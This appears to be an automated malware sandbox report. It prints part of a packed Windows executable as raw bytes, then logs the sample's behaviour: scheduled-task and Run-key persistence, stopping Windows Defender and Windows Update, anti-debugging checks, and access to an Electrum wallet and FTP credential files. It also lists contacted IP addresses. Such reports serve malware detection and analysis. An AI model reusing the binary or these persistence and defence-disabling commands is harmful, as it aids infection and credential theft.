 buffer: MZÿÿ¸@ິ Í!¸LÍ!This program cannot be run in DOS mode. $PEL!è„cà  DÞ  @àEL|F( D ?À!P?@ p.textM `.rdataâ. 0@@.data<NBPPD@À.rsrc ? D@”@@f‹f‰ ÃÌÌÌÌÌÌÌÌ̊ˆ ÃÌÌÌÌÌÌÌÌÌÌ́á4ïÆÃÌÌÌÌÌÌÌÌÌU‹ì¸<èSŠ‹EVW‹8‹@3ö=$‚„”‰EøuVÄ÷ÿÿQVÿ( B¡cB‹cB‰EØSEè‰uè‰UÔèœÿÿÿ‹]è‹ cB‹$cBÃ?‰]è‰M܉UÌÇEà ëëI3öÇEôƒEô‹ $‚„‹ÇÁà‰Eüƒù uUV…ÄïÿÿPhx4Bÿ` BVMÈQVVVÿT BVVÿt B3Ò3Àf‰EæMÄQf‰Uä‹UäRV…ÄûÿÿPVÿ@ B‹Eü‹ $‚„E܉Eüù©u Ç ‚„@.ëíëùëuVÿŒ BVÿ B‰5Ô{„ ;‰Mì‹Mô‹×ÓêÇ‚„î=êôŰEì1Eü3Uü‰UЋEЃEød)Eøƒmød‹UøÁâ‰Uü‹EÔEü‰uð‹EèEð‹EøEð‹Eð‰Eì‹uø‹MôÓîu؋Eì1Eü=$‚„ ujÿ B‹Eü3ƁÃG†Èa+øƒmà‰Eü‰]è…ºþÿÿ=$‚„m ‹u‰>[ujjjÿ B‹Eø_‰F^‹å]‹Mø_‰N^‹å]ÂU‹ì¡$‚„ƒìDÁèV‹5Ø{„…Àv4S‹$ BW‹ø=$‚„Y uÿÓÿӍE¼Pÿ0 BVè½ýÿÿƒÆƒïuØ_[^‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìQÇEüEün6‹EüØ{„‹å]ÃÌU‹ìƒìhÜ4BÿP B±t²rhXªBP£Ü{„ÆXªBVÆYªBiˆZªBÆ_ªBPˆ eªBÆfªBˆ [ªBÆdªBcÆ\ªBuÆ]ªBaÆ^ªBlˆ`ªBÆaªBoˆ bªBÆcªBeÿD B£Ð{„ÇEü ƒEü ‹Mü‹$‚„EøP¡Ø{„QRPÿÐ{„‹å]ÃÌÌÌÌÌÌÌU‹ìd¡jÿh(BPd‰%¡$‚„ì(SVW=“uNhì4Bh(5Bÿ\ BEÌè+jÇEüèÁƒÄjjè(jjèàjjèƒÄjèµ ‹ @ŒBKPj‰ ˆŒ„£$‚„ÿX B£Ø{„èœþÿÿ3ö95$‚„vc‹=, B‹ B›‹ˆŒ„Š„2K‹ Ø{„ˆ1=$‚„u&hp5Bjÿ×jjUðRÿÓh˜5Bjÿ4 Bÿ BF;5$‚„r¯‹5d B‹= B‹h B3À‰Eð‹ $‚„ȁùuKhä5BÿÖjjjjjÿ×jÿÓjÿ BUìRjh(6Bjÿp Bjÿ Bjjjjÿ„ B‹Eð@=†‰Eð|šè-ýÿÿ‹=< B3öëIjÿ׃þbuèrýÿÿFþÛt|é‹5 B‹=L B‹x BÇEì{=$‚„†uIj…ÌûÿÿPh6BÿÖh¼6Bhô6Bÿ׍Ì÷ÿÿQjh7BÿÓ3À3ҍMèQf‰Uðf‰Eò‹UðRPPPÿ€ Bƒmìu¥h¬7BÿP BÿØ{„‹Mô_^d‰ [‹å]ÃÌÌÌU‹ìƒì$=$‚„VWuEÜèԍuÜèì‹=8 BS‹]ü3öÿׁþ ü*~ûå~xu Fþ‹|å‹=< B‹ B3ö¤$jÿ×ÿÓÿˆ BþGm  Fþ¤ö|ã‹=l B3ö[jÿׁþ‰%+ Fþ§|ë¡lŒB£$‚„èýÿÿ‹5| B¿ë ¤$‹ÿ=$‚„ujjÿփïué_3À^‹å]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌVQ‹ð‹Ä蕋Æè~jèG‹Æ^ÃÌÌÌjè9ÃÌÌÌÌÌÌÌÌVQ‹ð‹Ä赋Æèžjèg‹Æ^ÃÌÌÌjèYÃÌÌÌÌÌÌÌÌU‹ì€}tƒ~r‹F蹋ÆÇFè{]ÂÌÌÌÌÌÌÌÂÌÌÌÌÌÌÌÌÌÌÌÌÌÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ì€}tƒ~r‹F虋ÆÇFèk]ÂÌÌÌÌÌÌÌÂÌÌÌÌÌÌÌÌÌÌÌÌÌÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìQ3ɈMÿ‰Hè‹ÐEÿèEøÿÿ‹å]Ã̃xr‹@ÃÀÃÌÌPèYÃÌÌÌÌÌÌÌÌU‹ìQ3ɉMü‰Hè‹ÐEüèõ÷ÿÿ‹å]ÃÌPèìYÃÌÌÌÌÌÌÌ̃xr‹@ÃÀËÿU‹ì‹EV‹ñÆF …Àucèq‰F‹Hl‰‹Hh‰N‹; VBt‹ ,UB…Hpuè ‰‹F;0TBt‹F‹ ,UB…Hpuè€ ‰F‹Fö@puƒHpÆF ë ‹‰‹@‰F‹Æ^]‹ÿU‹ìƒìSV‹u3Û;óu èÇSSSSSÇèOƒÄƒÈÿéÌW‹} ÿÿÿÿvè›SSSSSÇè#ƒÄëLÿuMìèÿÿÿ‹E샸¬u WVè¬YYëwSSWVj ÿpÿ B…ÀuèLÇ*8]øt‹Eôƒ`pýƒÈÿëT‰]ü‰];ûv7Š:Ãt,Mì¶ÀQPèYY…Àt ÿE9}sF8t ÿEüFÿE9}rÎ9}r‹Çë‹Eü8]øt‹Môƒapý_^[ÉËÿU‹ìjÿu ÿuèëþÿÿƒÄ ]ÃÌW‹|$ën¤$‹ÿ‹L$W÷ÁtŠƒÁ„Àt=÷Áuï‹ÿ‹ºÿþþ~Ѓðÿ3ƒÁ©tè‹Aü„Àt#„ät©ÿt©ÿtë͍yÿë yþëyýëyü‹L$ ÷ÁtŠƒÁ„ÒtfˆƒÇ÷Áuê뉃Ǻÿþþ~‹Ѓðÿ3‹ƒÁ©tá„Òt4„öt'÷Âÿt÷Âÿtëlj‹D$_Ãf‰‹D$ÆG_Ãf‰‹D$_È‹D$_ËÿU‹ìj jÿuè3ƒÄ ]ËÿU‹ìÿu j jÿuèEƒÄ]ËÿU‹ì]éÜÿÿÿ‹ÿU‹ì]éG‹ÿU‹ìSV‹uW3ÿƒËÿ;÷uènWWWWWÇèöƒÄ ÃëBöF ƒt7VèX V‹Øè VèçPèƒÄ…À}ƒËÿë‹F;Çt PèÞY‰~‰~ ‹Ã_^[]Ãj h ABèT#ƒMäÿ3À‹u3ÿ;÷•À;ÇuèëÇWWWWWèsƒÄƒÈÿë öF @t ‰~ ‹EäèW#ÃVè,"Y‰}üVè*ÿÿÿY‰EäÇEüþÿÿÿèëՋuVèz"YÃ
request_handle: 0x00cc000c
1 1 0
section {u'size_of_data': u'0x00072a00', u'virtual_address': u'0x00001000', u'entropy': 7.999567521714596, u'name': u'', u'virtual_size': u'0x0010a000'} entropy 7.99956752171 description A section with a high entropy has been found
section {u'size_of_data': u'0x00011e00', u'virtual_address': u'0x0010b000', u'entropy': 7.997448118243177, u'name': u'', u'virtual_size': u'0x00027000'} entropy 7.99744811824 description A section with a high entropy has been found
section {u'size_of_data': u'0x00000800', u'virtual_address': u'0x00132000', u'entropy': 7.294019991877545, u'name': u'', u'virtual_size': u'0x00004000'} entropy 7.29401999188 description A section with a high entropy has been found
section {u'size_of_data': u'0x0009da00', u'virtual_address': u'0x00445000', u'entropy': 7.93905470768719, u'name': u'.data', u'virtual_size': u'0x0009e000'} entropy 7.93905470769 description A section with a high entropy has been found
entropy 0.986423419601 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000488
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}
base_handle: 0x80000002
key_handle: 0x00000494
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}
1 0 0
cmdline schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\test22\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
cmdline "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2776 CREDAT:145409
cmdline chcp 1251
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
cmdline "C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
host 109.107.182.3
host 117.18.232.200
host 185.172.128.109
host 185.172.128.19
host 185.172.128.53
host 185.172.128.90
host 185.215.113.68
host 193.233.132.62
host 87.251.77.166
file C:\ProgramData\AVAST Software
file C:\ProgramData\Avira
file C:\ProgramData\Kaspersky Lab
file C:\ProgramData\Panda Security
file C:\ProgramData\Bitdefender
file C:\ProgramData\AVG
file C:\ProgramData\Doctor Web
file C:\Users\test22\AppData\Local\Temp\SandboxieInstall.exe
Time & API Arguments Status Return Repeated

ControlService

 service_handle: 0x0064c5d8
service_name: WinDefend
control_code: 1
0 0

ControlService

 service_handle: 0x0064c9e8
service_name: wuauserv
control_code: 1
0 0
registry HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\RageMP131 reg_value C:\Users\test22\AppData\Local\RageMP131\RageMP131.exe
cmdline schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\test22\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
file C:\Users\test22\AppData\Roaming\Electrum\wallets
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\n6P8X5rop5bCHCDpw23f.exe
registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate
file C:\Users\test22\AppData\Roaming\GHISLER\wcx_ftp.ini
Time & API Arguments Status Return Repeated

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: 7-Zip 20.02 alpha
